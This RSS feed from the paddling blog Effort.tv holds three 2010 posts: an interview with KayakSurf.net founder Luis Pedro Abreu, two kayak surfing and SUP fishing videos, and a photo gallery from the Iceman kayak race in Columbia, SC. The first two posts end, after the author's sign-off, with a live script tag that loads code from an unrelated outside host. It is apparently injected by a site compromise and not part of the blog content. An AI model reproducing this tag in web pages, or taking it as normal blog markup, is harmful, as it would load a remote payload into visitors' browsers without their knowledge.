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<channel>
	<title>Effort.tv &#187; championships</title>
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	<link>http://effort.tv</link>
	<description>Were you looking for Effort TV?  Sorry, there's no TV here, just the internet.  You are visiting Effort.TV [ef-ert] [dot] [tee-vee]</description>
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			<item>
		<title>Meet Luis of KayakSurf.net</title>
		<link>http://effort.tv/2010/04/meet-luis-of-kayaksurf-net/</link>
		<comments>http://effort.tv/2010/04/meet-luis-of-kayaksurf-net/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 02:56:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[abreu]]></category>
		<category><![CDATA[championships]]></category>
		<category><![CDATA[cruz]]></category>
		<category><![CDATA[kayaksurf]]></category>
		<category><![CDATA[kayaksurf.net]]></category>
		<category><![CDATA[luis]]></category>
		<category><![CDATA[Paddling]]></category>
		<category><![CDATA[paddling]]></category>
		<category><![CDATA[pedro]]></category>
		<category><![CDATA[portugal]]></category>
		<category><![CDATA[santa]]></category>
		<category><![CDATA[Surf]]></category>
		<category><![CDATA[surfing]]></category>
		<category><![CDATA[waves]]></category>
		<category><![CDATA[world]]></category>

		<guid isPermaLink="false">http://effort.tv/?p=1151</guid>
		<description><![CDATA[If you know about KayakSurf.net that doesn&#8217;t necessarily mean you know Luis Pedro Abreu, but you should know that he is the man behind the website.   I definitely didn&#8217;t know him, except over email, until the 2009 World Kayak Surfing Championships in Portugal last summer.   KayakSurf.net is for all intensive purposes, the hub [...]]]></description>
			<content:encoded><![CDATA[<p>If you know about <a href="http://kayaksurf.net">KayakSurf.net</a> that doesn&#8217;t necessarily mean you know Luis Pedro Abreu, but you should know that he is the man behind the website.   I definitely didn&#8217;t know him, except over email, until the 2009 World Kayak Surfing Championships in Portugal last summer.   KayakSurf.net is for all intensive purposes, the hub of kayak surfing on the internet, period.   If it&#8217;s going on in the surf kayaking world, Luis probably knows about it and is reporting on it at his site.  Since I wanted to know more about Luis and his website, I figured more kayak surfers out in the world probably did as well, thus the interview.  As you&#8217;ll see, Luis is a very down to earth, humble, friendly guy who just happens to be completely bonkers over surf kayaking.  He just decided to do a little more with all his enthusiasm than most folks would.  Please enjoy the video and get to know Luis and KayakSurf.net</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/9WyDSvq5gDo&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://www.youtube.com/v/9WyDSvq5gDo&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div id="attachment_1150" class="wp-caption alignnone" style="width: 650px"><a href="http://effort.tv/wp-content/uploads/2010/04/luis_spe_russ.jpg"><img class="size-full wp-image-1150" title="luis_spe_russ" src="http://effort.tv/wp-content/uploads/2010/04/luis_spe_russ.jpg" alt="" width="640" height="480" /></a><p class="wp-caption-text">Luis, myself and Russ Buskirk at the 2009 Worlds in Portugal</p></div>
<p>Thanks,<br />
Spencer Cooke, Effort Inc<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Two new videos; Portugal Surfing &amp; North Carolina Paddlefishing</title>
		<link>http://effort.tv/2010/01/two-new-videos-portugal-surfing-north-carolina-paddlefishing/</link>
		<comments>http://effort.tv/2010/01/two-new-videos-portugal-surfing-north-carolina-paddlefishing/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 19:42:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Paddling]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[beach]]></category>
		<category><![CDATA[championships]]></category>
		<category><![CDATA[Chris]]></category>
		<category><![CDATA[cloak/dagger]]></category>
		<category><![CDATA[cruz]]></category>
		<category><![CDATA[fishing]]></category>
		<category><![CDATA[flounder]]></category>
		<category><![CDATA[highlights]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[idea]]></category>
		<category><![CDATA[jade]]></category>
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		<category><![CDATA[portugal]]></category>
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		<category><![CDATA[records]]></category>
		<category><![CDATA[santa]]></category>
		<category><![CDATA[southern]]></category>
		<category><![CDATA[sup]]></category>
		<category><![CDATA[Surf]]></category>
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		<category><![CDATA[ultimate]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[wilmington]]></category>
		<category><![CDATA[wollard]]></category>
		<category><![CDATA[world]]></category>
		<category><![CDATA[wrightsville]]></category>
		<category><![CDATA[yolo]]></category>

		<guid isPermaLink="false">http://effort.tv/?p=1063</guid>
		<description><![CDATA[Recently I produced two short videos for RapidTransitVideo.com and wanted to share them with those who may not have seen them already.
SURF KAYAKING in PORTUGAL
I competed on the US East Kayak Surf Team at the World Championships in 2009.  This video is just the tip of the iceberg in regards to the amount of footage [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I produced two short videos for RapidTransitVideo.com and wanted to share them with those who may not have seen them already.</p>
<p><strong>SURF KAYAKING in PORTUGAL</strong><br />
I competed on the US East Kayak Surf Team at the World Championships in 2009.  This video is just the tip of the iceberg in regards to the amount of footage I shot.  Hopefully it gives those of you who helped me get to Portugal an idea of what surf kayaking is, and what kind of incredible talent exists in the sport.  You might also see that some of the competitors do not take themselves too seriously.</p>
<p><object width="560" height="340" data="http://www.youtube.com/v/McLKQ6Z0PX0&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/McLKQ6Z0PX0&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
<p>Soundtrack provided by Richmond VA&#8217;s Cloak/Dagger<br />
Preview the album at JadeTree.com<br />
<a href="http://jadetree.com/releases/product/JT1128">http://jadetree.com/releases/product/JT1128</a><br />
or<br />
Buy it on iTunes<br />
<a href="http://itunes.apple.com/us/artist/cloak-dagger/id252141700">http://itunes.apple.com/us/artist/cloak-dagger/id252141700 </a></p>
<p><strong>FISHING from KAYAKS and STANDUP PADDLEBOARDS</strong><br />
Hook, Line &amp; Paddle is a paddling retail shop located in Wilmington NC, close to Wrightsville Beach.  Every Sunday morning Chris and Ryan, shop owners, head out at dawn for a kayak and SUP (Standup Paddleboard) fishing trip.  I was lucky enough to go with them one day last fall and it was an absolute blast.  These guys have carved out a really cool niche for themselves.  Maybe tons of people are fishing off of SUPs, but I haven&#8217;t seen it before.</p>
<p><object width="560" height="340" data="http://www.youtube.com/v/8nHBPT6iZwA&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/8nHBPT6iZwA&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object><br />
Check these guys out at <a title="Hook Line and Paddle" href="http://www.hooklineandpaddle.com/">HookLineAndPaddle.com</a></p>
<p>Music in the video is by <strong>Chris Wollard and the Ship Thieves</strong>.  This is one of my favorite albums over the past couple years.  Find them out at the following links:<br />
Southern Lovin&#8217; PR<br />
<a href="http://www.southernlovin.com/family/chris-wollard-the-ship-thieves">http://www.southernlovin.com/family/chris-wollard-the-ship-thieves</a><br />
No Idea Records<br />
<a href="http://www.noidearecords.com/bands/releases/chriswollard_shipthieves.php">http://www.noidearecords.com/bands/releases/chriswollard_shipthieves.php</a><br />
iTunes<br />
<a href="http://itunes.apple.com/us/album/chris-wollard-and-the-ship-thieves/id292406243">http://itunes.apple.com/us/album/chris-wollard-and-the-ship-thieves/id292406243</a></p>
<p>Thanks,</p>
<p>Spencer Cooke<br />
<a title="Effort.tv" href="http://effort.tv">Effort Inc</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ice Ice Baby: Saluda River in Columbia SC</title>
		<link>http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/</link>
		<comments>http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 02:44:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Paddling]]></category>
		<category><![CDATA[2010]]></category>
		<category><![CDATA[andrew holcombe]]></category>
		<category><![CDATA[andy]]></category>
		<category><![CDATA[boys]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[championships]]></category>
		<category><![CDATA[chris gallaway]]></category>
		<category><![CDATA[chris wing]]></category>
		<category><![CDATA[columbia]]></category>
		<category><![CDATA[dagger kayaks]]></category>
		<category><![CDATA[grizzell]]></category>
		<category><![CDATA[iceman]]></category>
		<category><![CDATA[joey hall]]></category>
		<category><![CDATA[massacre]]></category>
		<category><![CDATA[millrace]]></category>
		<category><![CDATA[river]]></category>
		<category><![CDATA[rivers]]></category>
		<category><![CDATA[saluda]]></category>
		<category><![CDATA[sc]]></category>
		<category><![CDATA[snowy robertson]]></category>
		<category><![CDATA[wave sport kayaks]]></category>
		<category><![CDATA[Whitewater]]></category>

		<guid isPermaLink="false">http://effort.tv/?p=870</guid>
		<description><![CDATA[See all the photos in the gallery below.  If you&#8217;d like to take your photo(s) from this page and post them on your website, blog or facebook please feel free.  All I ask is that you credit Effort.tv

]]></description>
			<content:encoded><![CDATA[<div id="attachment_891" class="wp-caption alignnone" style="width: 577px"><img class="size-full wp-image-891" title="icemanshirtfront" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtfront.jpg" alt="icemanshirtfront" width="567" height="240" /><p class="wp-caption-text">With temperatures soaring into the balmy 30&#39;s the 2010 Iceman Kayak Race truly lived up to its name.</p></div>
<div id="attachment_880" class="wp-caption alignnone" style="width: 684px"><img class="size-full wp-image-880" title="scan-100116-0010" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0010.jpg" alt="Andrew Holcombe takes an afternoon siesta halfway through his winning race run in the 2010 Millrace Massacre.  Yes, he's that good." width="674" height="430" /><p class="wp-caption-text">Andrew Holcombe takes an afternoon siesta halfway through his winning race run in the 2010 Millrace Massacre.  Yes, he&#39;s that good.</p></div>
<div id="attachment_893" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-893" title="img_8808" src="http://effort.tv/wp-content/uploads/2010/01/img_8808.jpg" alt="Phil and a few other lucky contestants got to feel a splash of cold water, or two.  The hydraulic known as &quot;Dumbass&quot; was fairly sticky at this year's race." width="640" height="480" /><p class="wp-caption-text">Phil and a few other lucky contestants got to feel a splash of cold water, or two.  The hydraulic known as &quot;Dumbass&quot; was fairly sticky at this year&#39;s race.  Way to hang in there Phil!</p></div>
<div id="attachment_894" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-894" title="img_8847" src="http://effort.tv/wp-content/uploads/2010/01/img_8847.jpg" alt="Thanks to Master of Ceremonies Andy Grizzell for successfully pulling of the biggest and best Iceman Championships yet, the 10th Annual!" width="640" height="480" /><p class="wp-caption-text">Thanks to the Master of Ceremonies, Andy Grizzell, for successfully pulling off the biggest and best Iceman Championships yet, the 10th Annual!</p></div>
<div id="attachment_892" class="wp-caption alignnone" style="width: 450px"><img class="size-full wp-image-892" title="icemanshirtback" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtback.jpg" alt="This year's Iceman tshirts were a real hit - Design Courtesy of Joey Hall DeadmanProductions.com" width="440" height="470" /><p class="wp-caption-text">This year&#39;s Iceman tshirts were a real hit - Design Courtesy of Joey Hall DeadmanProductions.com and George Lucas</p></div>
<p>See all the photos in the gallery below.  If you&#8217;d like to take your photo(s) from this page and post them on your website, blog or facebook please feel free.  All I ask is that you credit Effort.tv</p>
<p>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0001/' title='scan-100116-0001'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0001-150x150.jpg" class="attachment-thumbnail" alt="Race Organizer Andy Grizzell and his mighty bullhorn cast an imminent shadow over racers and spectators" title="scan-100116-0001" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0002/' title='scan-100116-0002'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0002-150x150.jpg" class="attachment-thumbnail" alt="Iceman competitors trying to keep up with the pack below Millrace" title="scan-100116-0002" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0003/' title='scan-100116-0003'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0003-150x150.jpg" class="attachment-thumbnail" alt="Icemen and Icewomen charge down into Millrace Rapid" title="scan-100116-0003" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0004/' title='scan-100116-0004'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0004-150x150.jpg" class="attachment-thumbnail" alt="Sited spectators enjoy the tube race spectacle" title="scan-100116-0004" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0005/' title='scan-100116-0005'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0005-150x150.jpg" class="attachment-thumbnail" alt="Chris Wing-ding-dang-diddly-doo" title="scan-100116-0005" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0006/' title='scan-100116-0006'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0006-150x150.jpg" class="attachment-thumbnail" alt="Chris Wing approaches Square Eddy" title="scan-100116-0006" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0007/' title='scan-100116-0007'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0007-150x150.jpg" class="attachment-thumbnail" alt="Snowy Robertson yelled something about Ricky Bobby as he entered Square Eddy" title="scan-100116-0007" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0008/' title='scan-100116-0008'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0008-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe carries a confident lead through Millrace in the Iceman Race." title="scan-100116-0008" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0009/' title='scan-100116-0009'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0009-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe peels out of Square Eddy" title="scan-100116-0009" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0010/' title='scan-100116-0010'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0010-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe takes an afternoon siesta halfway through his winning race run in the 2010 Millrace Massacre.  Yes, he&#039;s that good." title="scan-100116-0010" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0011/' title='scan-100116-0011'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0011-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe drops into Square Eddy" title="scan-100116-0011" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0012/' title='scan-100116-0012'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0012-150x150.jpg" class="attachment-thumbnail" alt="A serious Chris Wing paddles the Millrace with meaning" title="scan-100116-0012" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0013/' title='scan-100116-0013'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0013-150x150.jpg" class="attachment-thumbnail" alt="A paddler rounds the turn into Square Eddy" title="scan-100116-0013" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0014/' title='scan-100116-0014'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0014-150x150.jpg" class="attachment-thumbnail" alt="A paddler peels out of Square Eddy" title="scan-100116-0014" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0015/' title='scan-100116-0015'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0015-150x150.jpg" class="attachment-thumbnail" alt="Steve Augustine rescues his rescuer" title="scan-100116-0015" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0016/' title='scan-100116-0016'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0016-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe rounds the next to last obstacle in Millrace" title="scan-100116-0016" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0017/' title='scan-100116-0017'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0017-150x150.jpg" class="attachment-thumbnail" alt="Chris Gallaway throws spray off of the Square Eddyline" title="scan-100116-0017" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/scan-100116-0018/' title='scan-100116-0018'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/scan-100116-0018-150x150.jpg" class="attachment-thumbnail" alt="Chris Gallaway approaches square eddy" title="scan-100116-0018" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/icemanshirtfront/' title='icemanshirtfront'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtfront-150x150.jpg" class="attachment-thumbnail" alt="" title="icemanshirtfront" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/icemanshirtback/' title='icemanshirtback'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/icemanshirtback-150x150.jpg" class="attachment-thumbnail" alt="This year&#039;s Iceman tshirts were a real hit - Design Courtesy of Joey Hall DeadmanProductions.com" title="icemanshirtback" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8808/' title='img_8808'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8808-150x150.jpg" class="attachment-thumbnail" alt="Phil and a few other lucky contestants got to feel a splash of cold water, or two.  The hydraulic known as &quot;Dumbass&quot; was fairly sticky at this year&#039;s race." title="img_8808" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8847/' title='img_8847'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8847-150x150.jpg" class="attachment-thumbnail" alt="Thanks to Master of Ceremonies Andy Grizzell for successfully pulling of the biggest and best Iceman Championships yet, the 10th Annual!" title="img_8847" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8775/' title='img_8775'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8775-150x150.jpg" class="attachment-thumbnail" alt="Chris Gallaway ties the boats on to head down to the race." title="img_8775" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8776/' title='img_8776'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8776-150x150.jpg" class="attachment-thumbnail" alt="I-26 drops off the side of the earth heading down to SC" title="img_8776" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8778/' title='img_8778'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8778-150x150.jpg" class="attachment-thumbnail" alt="Here&#039;s a nice picture of two pimples on my face" title="img_8778" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8780/' title='img_8780'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8780-150x150.jpg" class="attachment-thumbnail" alt="The event site" title="img_8780" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8783/' title='img_8783'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8783-150x150.jpg" class="attachment-thumbnail" alt="Shredders ran safety for the racers" title="img_8783" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8785/' title='img_8785'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8785-150x150.jpg" class="attachment-thumbnail" alt="Sited and excited spectators" title="img_8785" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8787/' title='img_8787'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8787-150x150.jpg" class="attachment-thumbnail" alt="Troops rallied above the Millrace" title="img_8787" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8788/' title='img_8788'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8788-150x150.jpg" class="attachment-thumbnail" alt="Chris Wing hits the ferry out of Square Eddy" title="img_8788" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8790/' title='img_8790'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8790-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe displays proper stroke technique" title="img_8790" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8791/' title='img_8791'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8791-150x150.jpg" class="attachment-thumbnail" alt="Andrew properly stroking his way to 1st place" title="img_8791" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8792/' title='img_8792'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8792-150x150.jpg" class="attachment-thumbnail" alt="Ryan drops down into Square Eddy" title="img_8792" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8793/' title='img_8793'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8793-150x150.jpg" class="attachment-thumbnail" alt="Ryan hits the right side of Dumbass" title="img_8793" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8794/' title='img_8794'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8794-150x150.jpg" class="attachment-thumbnail" alt="Steve Augustine brings it down into Square Eddy" title="img_8794" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8795/' title='img_8795'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8795-150x150.jpg" class="attachment-thumbnail" alt="Oops, stuck in Dumbass" title="img_8795" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8796/' title='img_8796'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8796-150x150.jpg" class="attachment-thumbnail" alt="Still stuck but in control" title="img_8796" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8797/' title='img_8797'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8797-150x150.jpg" class="attachment-thumbnail" alt="Steve A claws his way out of Dumbass" title="img_8797" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8798/' title='img_8798'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8798-150x150.jpg" class="attachment-thumbnail" alt="Steve A tags the rock below Square Eddy" title="img_8798" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8799/' title='img_8799'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8799-150x150.jpg" class="attachment-thumbnail" alt="But alas Dumbass was still hungry" title="img_8799" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8800/' title='img_8800'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8800-150x150.jpg" class="attachment-thumbnail" alt="Pat rescues Steve" title="img_8800" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8801/' title='img_8801'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8801-150x150.jpg" class="attachment-thumbnail" alt="Pat continues to rescue Steve" title="img_8801" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8802/' title='img_8802'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8802-150x150.jpg" class="attachment-thumbnail" alt="Neil comes down for a visit in Square Eddy" title="img_8802" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8803/' title='img_8803'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8803-150x150.jpg" class="attachment-thumbnail" alt="Neil listens for fish.  Shhhh, they&#039;re sleeping!" title="img_8803" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8804/' title='img_8804'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8804-150x150.jpg" class="attachment-thumbnail" alt="LVM Brotha&#039;" title="img_8804" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8805/' title='img_8805'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8805-150x150.jpg" class="attachment-thumbnail" alt="Thanks for setting safety ladies!" title="img_8805" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8806/' title='img_8806'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8806-150x150.jpg" class="attachment-thumbnail" alt="Andrew came back up to help with some safety" title="img_8806" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8807/' title='img_8807'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8807-150x150.jpg" class="attachment-thumbnail" alt="His best side" title="img_8807" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8809/' title='img_8809'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8809-150x150.jpg" class="attachment-thumbnail" alt="It&#039;s shorty season once it gets above freezing" title="img_8809" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8813/' title='img_8813'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8813-150x150.jpg" class="attachment-thumbnail" alt="Check out this crazy thing on my helmet!" title="img_8813" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8814/' title='img_8814'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8814-150x150.jpg" class="attachment-thumbnail" alt="Dude, you got water on my lens" title="img_8814" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8816/' title='img_8816'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8816-150x150.jpg" class="attachment-thumbnail" alt="Come on down big buddy" title="img_8816" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8817/' title='img_8817'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8817-150x150.jpg" class="attachment-thumbnail" alt="Jack and Ass" title="img_8817" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8818/' title='img_8818'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8818-150x150.jpg" class="attachment-thumbnail" alt="Andrew Holcombe always smiles" title="img_8818" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8819/' title='img_8819'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8819-150x150.jpg" class="attachment-thumbnail" alt="Andrew and Mike Scarborough reminisce about their fraternity days" title="img_8819" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8820/' title='img_8820'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8820-150x150.jpg" class="attachment-thumbnail" alt="Cory you gotta get mad to get outta there" title="img_8820" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8821/' title='img_8821'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8821-150x150.jpg" class="attachment-thumbnail" alt="Andrew was clearly trying to get into every picture.  C&#039;mon dude, let someone else have one" title="img_8821" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8822/' title='img_8822'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8822-150x150.jpg" class="attachment-thumbnail" alt="Number 62" title="img_8822" /></a>
